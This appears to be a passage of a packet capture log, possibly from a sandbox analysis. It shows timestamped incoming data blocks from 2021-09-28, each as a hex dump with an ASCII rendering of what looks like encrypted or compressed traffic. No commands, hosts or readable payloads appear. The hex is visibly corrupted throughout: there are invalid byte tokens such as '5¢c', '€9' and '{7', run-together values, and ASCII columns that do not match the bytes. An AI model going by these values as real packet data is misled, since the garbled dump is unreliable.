2021-09-28 11:02:14 UTC 57 IN Data Raw: 1b 93 b5 cf fb 6d cb f1 5b 93 94 87 51 3e 8a 7e e4 a2 b0 3a dd 0f 9d 76 4e 17 35 48 40 8e ca d0 3a 19 93 a3
42 04 c5 c1 f6 78 df 9e 16 16 7f a9 5¢c d9 08 8f 05 35 f4 9b 28 8¢ 73 4c al 8b 23 88 6e 82 7f 0f c5 6d b9 c1 bl 95 1b 33 91
d3 97 1b 04 9d fb e4 89 b7 bc ee e3 ff 52 3f 99 83 7f e5 8e 95 5 3¢ 32 93 8f 91 00 74 22 98 44 ab 9f 9c dc 1b 08 59 8a 79
6d c8 16 Oc dd 23 ed 7e 98 62 dd be c4 25 1e 74 ec 66 4d 7e 20 88 4f a7 59 Oc 6d 84 0d fc ca dd 3f fb b8 69 dc ee 44 c3
5d a5 7d a8 0d e8 6e 46 1c de b2 0d 10 el 08 52 7d e8 e4 97 30 00 c4 1a 3c fe 98 40 61 52 2a ff d3 c8 6f b4 93 35 7d 65
77 5c a0 73 2f f6 81 f7 28 86 Of cc 31 8f c8 63 8d 51 ea a2 b4 23 b2 f7 91 a3 f3 da 01 c7 2c 77 7aed ac 91 f4 ea 2a 72 3a
d4 43 8b c3 6d 29 49 ef c7 85 €9 fb aa 94 ad d5
Data Ascii: m[Q>~:VNSH@:Bx\5(sL#nm3R?<2t"DYym#~b%tfM~ OYm?iD]}nFR}0<@aR*05}ew\s/(1cQ#,wz*r:Cm)|

2021-09-28 11:02:14 UTC 59 IN Data Raw: ca a0 57 0a 97 88 ea 14 32 9a 70 Od e8 af d3 e7 9b ac 49 42 4e d4 2f 70 dd 2e d9 d3 a7 38 39 00 83 3e 5e b4
1b 40 be a9 7e 7b 4c 55 40 6 1f af ec 9b 21 4c ea bc d8 a6 67 55 b3 {7 8¢ 27 25 ec Oe 4a 84 39 1a de 22 3d 20 cb 8e 35
256 dc 0a 92 72 f1 8f de 2d 42 bc 72 7¢ 66 d7 17 77 79 b9 11 aa 89 fh 27 a3 {7 ab ef 87 ec bf ef f2 ee {6 ff 5e 87 b9 ba 9e
75 7fea d8 25 c2 e7 06 58 48 8d 28 7b 8¢ 51 36 04 51 ef 3d e5 f0 a2 80 23 86 fa 73 e2 33 84 37 0d 76 04 fc f9 cd 7b b2 54
d9 20 ee d6 6d 36 c4 2d b7 0f 07 58 6¢ 96 da ff d4 90 71 Of Od €9 4a ae ae 9a 22 c9 b9 01 62 80 d9 65 36 f9 98 76 5¢c 7b
29 ac faf9 d4 6¢ 7b 31 ea 68 aa 83 79 a3 32 5 fe 30 64 8¢ 99 93 ce ff 98 1c d2 03 d1 bd 24 59 c8 f9 64 a4 9b 12 da cc e0
45 c2 21 46 78 3b 8b 5e 2b f8 67 c4 bd bd d0
Data Ascii: W2pIBN/p.89>"@~{LU@!LgU'%J9"= 5%r-Br|fwy" u%XH({Q6Q=#s37v{T m6-XIqJ"be6v\{){1hy20d$YdE!Fx; +g

2021-09-28 11:02:14 UTC 60 IN Data Raw: 5b ed 00 c4 23 7b 54 ¢6 48 49 79 37 8¢ 53 a9 59 Oc 61 51 70 ae ec df 39 d5 88 60 cd ed 44 b6 5b a5 7d ef 01
ea 6e 4a 25 e6 a3 0a 75 e9 16 55 53 d8 e9 86 33 00 e5 1b 3c f2 df 44 67 52 2a c6 fe e0 2c ba fc 2f 13 4f 73 77 a0 07 84 ff
ee e8 03 81 6a a5 25 aa ea 3b 35 50 e0 bb ad 59 30 15 90 a9 ff e0 30 ef 95 7c a4 ec b8 bf 8f e2 28 72 3¢ 86 5a 8c d2 69
46 f3 ee d5 8f 86 85 bd 95 a7 ba 68 52 f4 a6 86 96 35 Oc e8 db 38 8a 8c ae de 5a 49 f3 bd b2 d4 db 8d 8b 86 3c 03 4d 1f
46 16 60 54 96 f7 6a 41 28 e4 93 a2 dd e6 73 4c 2a d5 88 28 93 fd af 65 73 a2 94 09 ec af 47 b3 4f a4 ce ¢3 18 5¢ 63 8f a8
e9 2 29 8 ff 1b e3 51 95 6a 75 46 75 8b Ob b8 fa Oe 3¢ 20 16 e3 b6 4b f1 26 Ob fe 3d 4e cc 27 ba 43 d2 62 8f b5 cb 43 31
08 2f 18 6¢ 93 de d2 db bf 40 f6 Oa e4 1b 72 44
Data Ascii: [#{THIly7SYaQp9 D[}nJ%uUS3<DgR*,/Oswj%;5PY00|(r<ZiFhR58ZI<MF TjA(sL*(esGO\c)QjuFu< K&=N'C
bC1/@rD

2021-09-28 11:02:14 UTC 61 IN Data Raw: a5 00 2f 7b 08 50 25 1d 56 f4 2d ca b1 2e 80 23 87 49 64 f5 2e 6e 1le €9 7f 0d el 3e c6 70 90 6b db 20 f9 c6 ff
3b 3a 2c 9a 12 1a 5d 41 07 f4 e0 d5 {7 fa Of 1c ee 42 55 be b3 27 ce b4 e0 1c ef f5 6e 25 f6 88 4d cd 7b 38 a0 eb 68 c3 41
7d 39 ea 68 al 94 57 3f 23 f3 €9 ¢5 bb bl b0 aa fd f6 7 7 c0 04 cf ba 12 72 ce f9 7f 7c 81 eb f1 e0 e5 52 df 3a 55 7e 3b 8f
58 e2 f5 66 f9 a4 a5 c3 94 ad 8c f6 45 1b 5b 94 e9 ce c3 8f 6¢ 9d a2 a0 32 f6 Oc 9b 46 2b €9 ae 11 le el 00 27 Oa ee c5
dd 5a 9f 0f 09 52 4e 31 54 25 a5 82 5d d4 2f 84 0a db 48 a0 50 41 7f 09 b0 4b 62 c7 dc 89 35 31 d5 58 03 d4 4b fe 84 02
4d 8d 4f d3 1a fd 85 37 61 7a 67 d4 ef 3e b5 b0 9b a6 39 6e e3 2f b5 c4 68 4a el d3 46 c9 fb 75 d2 84 8e 34 2c a3 18 ef
7c b5 70 €339 9d 7c 6¢ 62 3e 60 72 el dc db
Data Ascii: /{P%V-.#Id.n>pk ;:,JABU'N%M{8hA}OhW?2#r|R:U~;XfE[I2F+ZRN1T%])/HPAKb51XKMO7azg>9n/hIFu4,|p9|lb>"r

2021-09-28 11:02:14 UTC 63 IN Data Raw: ab 47 4c ea 86 13 96 35 Oc 6e ca 3f 94 80 88 46 4b 7a ed 9d 92 aa db 8d 9a Oc 3e Of 6a ac 50 8a 71 53 98 de
64 23 38 cf 82 83 a4 b3 62 4b 3f eb f5 be bd da b6 ea 69 a5 9a 27 e3 cd 57 98 59 aa c0 41 18 5a 49 09 aa e5 ed 1f e5 74
f4 e5 62 be 52 e6 4d 75 9a 9c b3 03 10 39 43 b6 €3 b2 4b 6d ba 27 el 17 59 5a 20 bl 4a f4 4c 81 a4 cc 5¢ Ob 0d b4 1f 78
85 f1 fb 34 5e 41 f6 9c e6 14 64 7d a2 39 ae b0 43 6d 78 bb b5 9c b9 fe f8 d8 27 29 85 b7 91 b3 8c 32 df 6e 2f c1 6f 27 9e
b7 ff 3f 97 7a a8 30 94 d7 38 a5 5e €3 f9 84 66 01 f9 al 33 dd 86 97 c8 30 20 f0 89 29 2f ef 2b 2f 5d cc f7 5f a8 ba 74 ec f5
3c 21 9e 55 70 35 c4 6e 11 49 9c le f2 9e 5a 4d 0a d8 dd 83 72 d9 04 69 cd bf 67 3d 90 15 fb 19 20 d2 49 6e 74 b4 c7 fe
b6 b5 31 f6 77 d7 30 4b d5 c6 42 c2 a0 26 14 17
Data Ascii: GL5n?FKz>jPqSd#8bK?iI'WYAZItbRMu9CKm'YZ JL\x4"Ad}9Cmx")2n/0'?z08"{30 )/+/]_t<!Up5nIZMrig=
IntIwOKB&

2021-09-28 11:02:14 UTC 64 IN Data Raw: f8 cc a9 9d f6 34 57 5b b8 fe dd 35 a6 98 62 a3 ca 75 ae 32 4a 47 2b 90 a4 c7 1f e7 19 05 34 63 d0 d7 51 81
15 00 45 54 36 7a 66 5f 83 77 7f 16 b0 1f f3 12 af 49 54 db 18 bb 55 56 64 d9 a5 3b ab a2 bd e5 03 08 e9 82 04 fe 9a 43
3e 12 f9 a8 22 72 7a 74 c2 f8 28 ad 5b 8c 99 2f 6e d7 06 8e 2a 83 2f da 99 56 cc e0 50 fa 37 8f 3e 21 a7 67 ff 79 ae 12 9a
8a 9c 76 4e 70 2d 60 78 95 d9 d6 f5 15 65 4f 67 2c f4 d2 f1 63 d8 82 b3 bf 6b b8 42 ¢3 35 39 b2 07 39 54 2f a2 03 4f 8b 8d
4c 3a2e b6 75 27 d4 6d b9 cb 19 9d Oa 3b ba a0 96 1b f1 4d ee e4 86 b6 94 fa f9 ff 58 0d 8a 92 75 f4 80 bd 69 3c 38 98
€0 b5 12 75 24 a0 eb ab 9f 9c d7 1d 1c 70 15 4b 69 ce 6e 83 da 23 91 7f 8b 65 bf 12 d2 34 1c 56 d5 48 4f 74 84 95 2a af 4
1d 7c 9b 31 ca 43 f2 39 d3 9a 7a c4 5 74 {7 4e
Data Ascii: 4W[5bu2JG+4cQET6zf_wITUVd;C>"rzt([/n*VP7>!gyvNp-"xeOg,ckB599T/OL:.u'm;MXui<8u$pKin#edVH
Ot*O|1C9ztN
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kBytes
Timestamp transferred Direction Data

2021-09-28 11:02:14 UTC 65 IN Data Raw: 52 91 d4 bf a2 54 7d 56 bc aa b2 87 cf e9 df 32 31 ff 37 91 b9 9b 78 43 42 30 fO 78 a8 81 a6 f3 00 al 96 bb 18
ba 49 29 a4 52 df f9 0b 63 75 c4 97 13 5b 95 87 d9 bd 25 df fd 18 Of 69 32 a2 5a 50 €6 59 a4 ae 45 4e e3 2d 2f 2a 55 77
2af9 da 9c 7a 8c 17 46 be 0f d1 1a 7d d3 98 75 a6 8a 50 db a0 5d 28 53 98 c8 0d 1c f8 75 18 fc bc 4d ce 8a aa 5¢ 79 42
c1 0b 60 dd 3f cf f7 b0 2f b6 19 b6 2e 5f 56 6e 64 a9 85 7b 6a 44 4b 72 cf f3 b8 7c bd 3b 5b dd 82 6b 8a 76 53 a4 70 98 29
34 ¢9 05 d2 b9 3a 1d ea b6 2c 08 da 8f 97 3e ed da Of ab ae d8 Oc d6 3c 42 be d7 51 62 d7 10 74 e0 aa 06 82 2f 8 2f b8
d9 ac 80 f6 c4 d3 ef 50 f9 e8 66 4d af 71 ba 8a 6b 7a fb e4 aa €9 e3 Oc 78 4e Oe 38 f6 8b 50 25 0d 53 c4 3a d1 6a 38 Oc 1c
87 58 63 48 36 b3 0b ed dc 04 6 e2 eb bf 9a 78
Data Ascii: RT}V217xCBOxI)Rcu[%i2ZPYEN-/*Uw*zF}uP](SuM\yB'?/._Vnd{jDKr|;[kvSp)4:,><BQbt//PfMgkzxN8P%
S:j8XcH6x

2021-09-28 11:02:14 UTC 66 IN Data Raw: 90 aa 73 f7 8a 72 51 05 73 45 90 ef 64 87 ac ca 9d a0 a3 20 5b 02 24 cf d3 51 a4 db b6 7c 55 b3 94 0d dd 01
42 9f 40 e3 f9 c0O 18 50 70 51 bb e2 f2 29 e5 7 ec 34 6e 8e 63 72 5b 46 cb 11 b4 1c d9 03 7b 1d aa a3 5b e2 8¢ 31 d9 2¢
68 a9 12 b4 55 d9 4b 13 a2 46 44 27 1b 29 1d 5d 8b fe cd a5 46 cd c9 00 f7 12 d9 42 a0 d2 86 1b 43 f1 63 94 fO b3 af 68
c1 3539 19 af 1f 45 b2 8c a4 e6 4d 30 f0 73 d4 ab b2 e0 Ob a6 9d bf e6 87 53 38 ac 56 5d e8 18 77 07 f5 b3 02 7b 90 86
d0 20 Oe f7 96 1d ad 7e 0d 3b 75 fb €6 58 bd 93 74 €0 ca 3c 21 03 52 5f 98 f3 78 87 74 b4 10 c4 96 82 d6 1b df c3 a9 4e
a6 bb 6e db b8 d1 1d f1 89 eb bc 2e ca 42 24 43 a5 c0 eb 95 d5 d1 55 66 dO 2e 60 e2 51 df d3 ad 03 76 7 6d c9 5f d9 72
51 a6 be ca 52 e6 40 54 de c6 a3 d5 Oa 31 4a fe 85 e2 9b
Data Ascii: srQsEd [$Q|UB@PpQ)4ncr[F{[1,hUKFD')]JFBCch59EMO0sS8V]w{ ~;uXt<!R_xtNn.B$CUf."Qvm_rQR@T1J

2021-09-28 11:02:14 UTC 67 IN Data Raw: 86 ¢5 15 eb 1b 01 39 38 d6 d9 40 8e 17 08 65 e6 fe 5d 18 73 b4 71 dd 0d b9 07 f3 76 ab 49 58 a7 09 a7 67 7e
78 cl a5 3d 09 b3 a7 fc 2d 56 ed 82 12 5e 8b 59 3b 19 d1 86 2f 72 7c 67 df e9 21 bf 55 aa 89 3b 69 €6 17 9b 21 97 b5 d8
96 44 e1 85 5d 95 8f 8b 29 fd 11 75 e9 78 97 6b f5 38 97 60 de Oe el 72 50 b9 ca da ee 31 63 b4 67 2a f8 e9 ce 72 cc 9f
bb ac 79 83 57 ¢2 20 b7 05 35 fe 45 32 92 59 59 91 8b 23 89 3¢ 86 7d Of ec 6d b9 c1 0f 95 1b 22 c¢3 d8 bc 00 fb 9a ec 1a
87 9b be f6 f2 ff 55 28 67 82 53 e7 9f 9e 5 3b 20 6¢ 8e bd 12 5e 20 b3 b2 a9 9c 3 5b 1b 08 52 bb 49 69 c8 62 3e d8 23 29
7f 98 73 23 04 c4 34 3¢ 50 c6 48 49 75 55 3e 3c bc 52 06 74 95 0d 66 ce dd 33 cO 9e 41 f2 e6 6¢ e7 55 8d 55 82 29 ee 7d
4825 ea9a 79 lecd 12 7d 71 c9 e0 9d 1e 19 e7 1a 36
Data Ascii: 98@e]sqvIXg~x=-VAY;/r|g!U;i!D])uxk8 rPlcg*ryW 5E2YY#<}m"U(gS; I" [Rlib>#)s#4<PHIuU><Rtf3AIUU)}H%y}
q6

2021-09-28 11:02:14 UTC 68 IN Data Raw: 5e 31 f0 79 8c 8e b0 e0 18 b7 85 a8 2a 94 4b 28 b9 71 d6 ef 79 77 06 e6 05 13 5d 97 e4 a9 ad 31 fd 9b 15 60
9a 2a 2f 57 43 e0 5a 9f ea 55 6¢ ff 2f 24 13 42 66 2f e5 69 88 d6 2c 6e 3¢ 80 Of db 10 d8 d5 60 7a 61 15 27 ca a0 5¢ 2e e0
8f fb 1b 29 f8 53 82 5f ad d6 8e 7d ab 5d 60 40 d8 5c 8e cb a3 d4 c0 a3 28 2e 02 4c 27 6d e2 48 40 be a7 cf 6d 50 4b 7c
€6 d7 ae e6 4f 30 4c d4 94 f1 a2 66 43 a4 7a 8b 27 25 ed 53 Oc 95 20 16 c9 ae b7 33 fb 8d 97 06 fe c8 1e 2b ba f0 9e c2
37 6f b3 5a 51 75 29 10 4c f6 a6 1a aa 8f fe d1 b3 d3 bf 86 e9 ec b8 3 ae fe d2 e9 61 ad 5a 58 b6 e8 6e ec c6 0f c1 85 07
5e 55 6f 39 7a 8c 5a 0f Oc 40 fc 1b f1 7c €8 81 23 87 ca 62 ea 36 €3 a5 c5 77 Oe fc c0 e5 6d 9a 7e ce 24 c0 ee e2 31 c2
21c500 12 4c 42 3e f2 de da e4 fa 27 2e e8 59 al
Data Ascii: "1y*K(qyw]1 */WCZUI/$Bf/i,n<'za'\.)S_}]' @\(.L'mH@mPK|O0LfCZz'%S 3+70ZQu)LaZXn"U09zZ@|#b6w
m~$1ILB>"Y

2021-09-28 11:02:14 UTC 70 IN Data Raw: 36 d6 8b 59 41 e4 76 22 88 25 be 57 87 c1 6d bf e9 83 91 1b 35 fd 44 94 1b fd ee 07 e5 86 bd d3 13 f8 ff 58 28
91 ec 81 e4 88 9f 2 €6 2b 80 9¢c 95 28 52 23 98 51 d5 60 9d c6 11 00 49 95 26 69 ca 79 04 a6 22 93 7e 92 1c le 05 c4 2f
07 79 d5 4f 62 5¢c 58 b8 3c bc 52 04 7a 8b 4a dd cc dd 33 a8 9a 6b dc ee 03 51 58 a5 71 93 2e f9 69 61 31 d7 50 Od 1a cd
02 d8 7e c9 e0 96 25 2d f6 1d 34 e5 b4 0d 65 50 2c dd 8c ca 6d be 6 46 ce 64 71 7d 8e 11 95 f6 8b ee 04 90 66 56 35 52
74 0c 3550 fb ae ¢8 59 8b 15 9a 73 e6 c8 08 ee bd 62 7a ee b5 a6 97 d9 2e 5a a0 c7 46 86 fa 60 47 f3 e8 d4 8a ad 8¢ ba
92 d3 a8 40 53 ef b5 96 87 30 24 fa da 38 8d 8¢ 96 cb 52 55 6e bd b2 5f f3 02 9b 90 25 25 10 fe 64 14 60 52 94 5 63 b6
21 d9 99 cf b2 2d 73 46 5b cc d7 3e b7 b5 9c 74 78 a4
Data Ascii: 6YAV"%Wm5DX(+(R#Q"I&iy"~/yOb\X<RzJ3kQXgq.ialP~%-4eP,mFdg}fV5Rt5PYsbz. ZF G@S0$8R
Un_%%(d’Rc!-sF[>tx

2021-09-28 11:02:14 UTC 71 IN Data Raw: aa 79 ad a5 56 81 36 22 f6 02 Oc 09 2e 05 da a6 b6 31 ¢3 90 81 ca ff e4 13 b2 b3 e4 e0 d0 3e 44 a2 50 49 75
¢4 19 60 e5 b6 Oe b9 76 €9 03 b8 8¢ b8 93 e2 e6 b3 f4 44 ec f6 eb 5b a7 6e bl 60 7e 42 e5 dd Oa f4 fe 9a 41 54 13 27 7b
9d 58 3c f2 41 cb 22 €3 7b 38 9f 34 1b 42 71 e2 27 81 17 da 60 fa f7 c4 d8 69 98 6e df ae 5f d1 e5 27 ab 2b b4 1b 19 6a 5b
2d c9 f7 de f5 f4 10 18 16 58 87 b4 97 33 b0 99 8e d5 e5 ea 72 25 fb 94 4f ¢3 6¢ d7 a7 de 95 da 7e 73 3b e8 64 a4 8b af
3e le e7 6 b5 0d 8a 66 ac 2f 72 b3 16 c1 05 d6 b3 13 6¢ db f1 6e 6b 93 0d Oe cd cc 4f cc ac 6d 78 3b 9f 4d f2 12 74 dd a7
ac d8 8d a6 63 f1 77 e2 4b bf f9 d6 c7 b4 86 9c b3 a2 30 69 25 64 4e 3a e4 91 da 4d 7d 11 1c 26 ee d4 df 4e 8e f8 1b 78
49 36 41 3b 44 8¢ 62 d5 07 bb 00 c4 47 55 48 7e 73
Data Ascii: yV6".1>DPIu'vD[n ~BAT'{X<A"{84Bq"in_'+j[-X3r%0I~s;d>f/riInkOmx;MtcwK 0i%dN: M}&NxI6A;DbGUH~s

2021-09-28 11:02:14 UTC 72 IN Data Raw: 36 €0 98 b8 66 52 2a c1 7a cf 6f be fd 3d 68 71 59 d4 a6 00 9f de 1d fd 02 8b 73 70 21 87 d6 24 ad 54 ea ae bl
a7 8d 1590 a2 e7 dc 1c c7 36 76 7a e4 ab bd 51 ch 28 74 2a 4a 41 8c d2 68 52 e7 fa ef 2c 86 85 al bc 3b ba 40 59 dc 3f
97 96 33 24 fd da 38 8d 8¢ 94 cb 51 55 7d bc b2 5f f6 b2 8b 9a 07 87 74 8d 4c 3b 56 27 a5 fe 72 b9 3a c4 8c ac 9a b8 77
4c 26 a0 ff 3c bd dc a7 7a 69 a9 ea 26 f7 51 40 8e 4a 9d ea ae 3e 58 49 93 aa ee €3 31 9c c0 e7 e2 7b 90 63 6a 22 60 9b
00 a8 da 00 35 4b 01 e3 b2 41 e2 a6 08 c6 3d 4f cc ef b6 44 da 4d cb a6 ce 52 22 0a 27 30 d4 64 23 24 6a 4f 64 de 37 f7
1371 40 8c c0 a3 98 7b f1 69 b6 74 b1 a9 48 e0 f5 38 19 e4 03 91 b3 8c ae ce 69 ba fO 79 bb b8 b1 e0 0d 76 84 a8 30 9b
4b 29 a2 5b d0 ef 19 77 06 e6 95 58 5d 86 97 5e ad 31
Data Ascii: 6fR*zo=hqYsp!$T6vzQ(t*JAhR,;@Y?3$8QU}_tL;V'r:wL&<zi&Q@J>XI1{c|" 5KA=ODMR"0d#$jOd7q@{itH
8iyvOK)[wX] 1

2021-09-28 11:02:14 UTC 73 IN Data Raw: ab bf 03 3a d1 af 85 ca el 69 75 38 ec 9f 7e 49 7b 29 a6 6e 87 cc 72 77 1b 0d 6¢ bb 87 cd 2e 3¢ ea f9 24 d1 01
ad b5 6 f1 87 5a 5d 15 cb a9 03 41 23 f9 6e 7a 07 04 fe df e5 43 al ac 47 78 3d 8d 5a 2b 1f 42 fd 90 bd d0 98 be 9b 6 57
cd 62 b8 4 3 16 60 8e 9c a2 bb 2e bf 70 4c 47 2d 8¢ 01 ¢4 1f e7 1c f1 2f ff c1 b8 d9 81 06 1c 42 b0 22 44 c3 5a e3 5d df
01 80 1e ca 4a c4 c1 53 79 0f b6 97 6d 36 ce ac 05 81 b3 a7 fc 3a 52 fc 8b 2a c1 8f 59 2b 74 5b 87 20 74 6f 6f d4 ed 30 b7
66 6¢ 89 3b 43 89 9d 9a 3b 91 a6 c4 85 43 d8 8 75 Ob 81 8e 38 44 01 7f ee 7a ac 18 86 30 9f 76 42 17 33 48 ef 8e ca d0
f5 15 5¢ b1 4f 4a f3 c1 fc 7b dd 90 0a a6 7d a9 50 bd 36 b6 05 3f ed 4f 59 a8 5b 4b 8d 98 28 99 24 9 €0 Ob c5 6b d6 eb
08 95 1d 22 de c2 9a 74 df 9f fb e2 97 bc ad
Data Ascii: :iu8~I)nrwi.<$Z]A#nzCGx=2+BWb'.pLG-/B"DZ]ISym6:R*Y~+] too0fl:C; Cu8DzOVB3H\OJ(PE20Y[K($K't

2021-09-28 11:02:14 UTC 75 IN Data Raw: 8a f9 00 f5 57 51 12 41 8c e0 c0 0b 55 58 9a ad 3 {7 9a e2 e7 f6 f2 6¢ 86 66 72 5a f8 b5 00 a2 05 1c 01 72 27
5 a5 d7 e0 ba 37 d6 9a 4f c6 3b 90 44 ce 4c 8d 99 d4 52 37 0d b2 26 6e 9a dc d1 64 4b 41 f6 01 df 07 7b 53 88 ee 9a bl
43 fb 1d a9 aa b3 ae 71 ec ce 3f 0d 8d 92 95 b3 8a b9 43 6e 30 fO 78 a8 9f al fO 1b 9f 23 ac 30 92 9 38 b2 55 c4 fb 30 d4
06 e6 9f 07 75 21 93 c8 aa 27 7a 91 1c Of 6e 3f 3b 49 78 45 58 b7 86 7c fO f5 3c 2b 11 4d 66 2d e7 50 28 5¢ 9b 07 dd Oc
08 d1 1b de d1 aa 7c a7 8e 50 62 a4 5d 24 53 98 fa 0a 2b fd 7e af e8 a5 ca f5 a2 0d 59 6a 60 c6 a2 71 ca a3 df c7 b3 2d
02 ab 92 36 42 e2 e3 40 be a7 cf 62 55 48 78 87 c6 a7 c4 le 31 4a f4 b9 al b3 6f 7f e8 6b 83 Of aa ec 1d 48 b8 72 7f eb ac
b6 26 d8 85 86 3e ef c1 36 ad bb f0 89 bb 18 46
Data Ascii: WQAUXIfrZr'70;DLR7&ndKA{SCq?Cn0x#08U0u!'zn?;IXEX|<+Mf-P(\|Pb]$S+~Yj'q-6B@bUHx1JokHr&>6F
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kBytes
Timestamp transferred Direction Data

2021-09-28 11:02:14 UTC 76 IN Data Raw: 66 03 5f 4c 52 2¢ d9 8d 0a Oc b3 al ea 03 78 ed 82 08 4a cb ¢3 2c 1b d1 99 2b 7f 7c 6e da fb df bf 62 92 b2 21
47 e6 17 84 28 9a b5 c0 8b 5b 37 f0 71 80 81 a6 02 2e 8b 78 f8 54 91 1f f5 32 8b 36 b9 05 3f 60 67 93 c7 da ed 06 44 48
66 00 eb 11 aa 72 cc 94 4d b8 7f a9 5¢ bd 3d b5 05 3f fa 2a 34 88 59 41 87 94 29 85 2f bf 66 f1 c4 41 b7 c2 79 9d 19 33 df
bc 9e 19 fb 97 fO fe 8b b7 b5 f1 €9 01 53 12 8¢ 87 57 dc 8d 95 f3 2a 10 bc 8f 91 1a 63 62 24 51 ab 9f 83 d7 16 08 51 8e 5¢
97 ¢9 55 06 e5 b9 90 7e 98 6¢ b8 09 c4 2c Ob 68 3a 49 63 6b 22 ac 07 b9 58 Oa 7d a7 Ob dd ce d7 2f 93 7d 97 23 1b 73 f6
54 a5 72 9e d7 €9 42 59 33 ¢7 84 08 1a ch 02 7d 7b c9 e0 9d 20 68 c2 e5 c3 0Ob af 6b 68 52 25 c8 e3 36 6e 92 f2 f9 67 65
7175 8e 14 95 f6 8b f1 1d 94 6d 7b 39 92 3c 0d
Data Ascii: f_LR,xJ,+|nb!G([7q.xT26? gDHfrM\=2*4Y A)/fAy3SW*cb$QQ\U~I,h:Ick"X}/}#sTrBY3} hkhR%6ngequm{9<

2021-09-28 11:02:14 UTC 77 IN Data Raw: 19 f7 96 1c aa 6f 2b 3e 4b 5b cd 43 b7 8b 43 92 f4 10 23 1a 4f 77 2d e5 86 8c 74 99 16 c1 81 08 c9 e5 de ee
b8 46 b5 b3 9b c8 db 31 22 f1 8d c0 3c 3d ea 2b 60 e8 a5 c4 cb 8a aa 5d 79 56 d2 2f 5e ca a3 de 42 a7 39 3b 1e 99 1d 53
ca 78 57 40 ac f0 68 5¢ 4a 54 d9 c1 50 ed bd 32 5d f5 94 f6 ba 99 52 88 78 a0 25 Oe Oe 1f 39 f8 31 Oc cd 84 80 22 c8 a7
86 34 fe c2 63 d7 ba fO 8b fe 3c 44 bb 6a 54 62 ff 11 60 f4 18 11 aa 99 fe 24 99 e4 bd 96 f5 12 be c7 52 e7 f5 eb 4d b9 8f
ba b2 7d 79 e7 cc 0a f1 1d 07 72 5d 2b 2d 50 6f 52 5e 62 40 e7 2f d8 5e 2c 83 5e €9 58 62 ee 0d 96 35 c5 64 34 2 e8 49
6f 9a 78 dd 20 e8 c0 e2 19 d3 2d b6 11 10 61 4f 1d e4 fa de e2 8f 29 0f e8 53 d1 bd 9c 03 45 b4 8f d3 3f e0 64 36 f2 bc 4a
cb 7b 23 ¢9 d5 94 c2 67 53 a7 f9 6¢ b1 e8 4e 3e 32
Data Ascii: 0+>K[CC#Ow-tF1"<=+"]yV/*B9;SXW@h\JTP2]Rx%91"4c<DjTh ' $RM}yr]+-PoR"b@/","Xb5d4lox -aO)SE?d
6J{#gSIN>2

2021-09-28 11:02:14 UTC 79 IN Data Raw: af de fb ff 7a 3e 99 83 77 e5 88 84 €3 37 13 89 8f 96 07 8b 23 b4 53 b3 94 9c c1 0d f6 59 bd 4b 7e c3 79 09 c5
dd 90 52 9a 58 ac 2f 27 27 6f 02 c4 48 4b 54 04 86 3f c1 24 Oc 6b 8b 0f dd ce dd 2a €3 99 69 f4 e4 6¢c el 51 a5 7b 91 3f e3
4557 34 e8 a5 f3 1b el 16 4d 5e c9 e7 81 ¢8 29 cb 18 2b ff b0 65 7d ac 2d fb f5 e3 6d 95 1f 2b 07 18 71 77 a2 2a b7 f4 82
80 7f 81 60 7f 1a 8f c2 Oc 26 60 e8 a8 8f 2a 8a 15 98 a3 f3 d9 1e e4 be 6d 7a e9 a8 6b 86 e4 2a 6a 37 c7 41 9a 2c 68 6a
1 f9 cc 8f 81 9d 55 95 8b b8 6b 51 df 45 91 ed 4b Oc 2 df 12 a9 9d 9d a7 24 7d f2 b9 98 6f d9 a5 8d 90 2f 02 77 9a 3b 95
60 54 83 d6 61 8f 2b c8 b5 a0 b2 2f 7b 4c 20 de ¢3 35 96 c1 b6 71 6f 5¢ 84 2e 7 49 4d 9f 41 9a 1e c0 34 58 5e 9e bb e5
ea c6 f2 c4 e7 c9 7f bd 91 64 36 Oa 9a 00 a6
Data Ascii: z>W7#SYK~yRX/"oHKT?$k*IIQ{?EW4M")+e}-m+qw* & *mzk*j7A,hjUKkQEKS$}o/w; Ta+/{L 5qo\.IMA4X"d6

2021-09-28 11:02:14 UTC 80 IN Data Raw: 6f 88 bd 56 62 d7 8d 66 eb 92 Oe 8d 14 ee 30 9f 0 c8 0d e4 f3 91 {7 cc f9 el c4 6a 24 71 bb 9e e3 68 3 fc 12
a0 7f 00 41 6e 16 b3 7d 93 62 05 d0 40 e7 2b 6e 7a 31 b3 3c 88 c4 64 5 13 8f 2f 59 71 1b c3 c8 6b 6f 9a 78 41 26 {7 6 cO
af c4 2d b6 87 15 53 73 15 27 ff de e4 60 09 12 d0 46 a2 23 99 34 e6 90 Oa d5 ef f5 f8 30 ec ae 7e 3a 7b 29 a6 6e 90 dd
56 5b f3 f9 6¢ bb 1b 57 20 Oe d5 5e 3b ba 9d 20 bd e6 c2 87 63 5d 02 da 88 2c a0 c8 f9 6e e6 9d Oa cf d2 7c 42 cd 61 5d
e4 3d 81 1f ea 72 fb d3 b8 ff c7 Oe ab 82 b3 7b 07 5a b8 f4 55 cd b8 ca bc 35 aa 2a 97 b8 4e 58 6e c3 5e c5 1f el 96 09 31
a8 e5 7851 80 06 86 52 51 67 72 bd 5b 83 71 41 01 b5 40 c4 76 37 4f 4d 30 16 c1 d1 78 26 97 ba 36 95 b5 b8 b7 34 27
7184 1d 10 94 57 b1 1d ce cb 3f 1ae0 61 da a7 3e
Data Ascii: 0Vbf0j$ghAntb@+nz1<d/YgkoxA&-Ss" F#40~:{)nV[IW *; c],n|Ba]=r{ZU5*NXn"1xQRQgr[gA@v7OMOx&64'qW?
a>

2021-09-28 11:02:14 UTC 81 IN Data Raw: 04 23 ae eb 84 a5 3d 86 15 98 ba 0d c9 24 ed be 74 51 23 97 02 87 ¢8 22 75 26 c0 c8 3b c8 b3 29 el ef c7 85
ac 85 ab 94 b4 8a 45 53 01 a6 93 96 99 Oc f2 ca 2e 86 b4 dd da 53 67 Oc bc 9e 51 cd a7 81 9d 2f 01 62 73 47 3a 62 4c 8a
fc 7b a6 d7 c9 bl aa b0 07 42 4c 20 c5 f8 1c a7 d7 b6 7f 60 5¢c 84 2e f0 55 52 ce 5f 81 e0 c8 Oe a4 48 h9 b9 f5 ff 38 fa {3
1b e3 51 94 59 64 66 ce €9 29 a0 04 05 1b 64 59 c9 b0 4b fb a9 4f d5 3f 4f cc 36 d9 7f dd 5a 17 9d 70 47 27 1d 00 €6 7e
9a d6 df e4 52 53 f4 28 aa 13 7b 59 aa 7a aa b0 45 d9 4d bc aa b9 87 12 e8 df 3e 1d ad 1f 0d b3 8c a4 9f 41 ab f0 79 b1
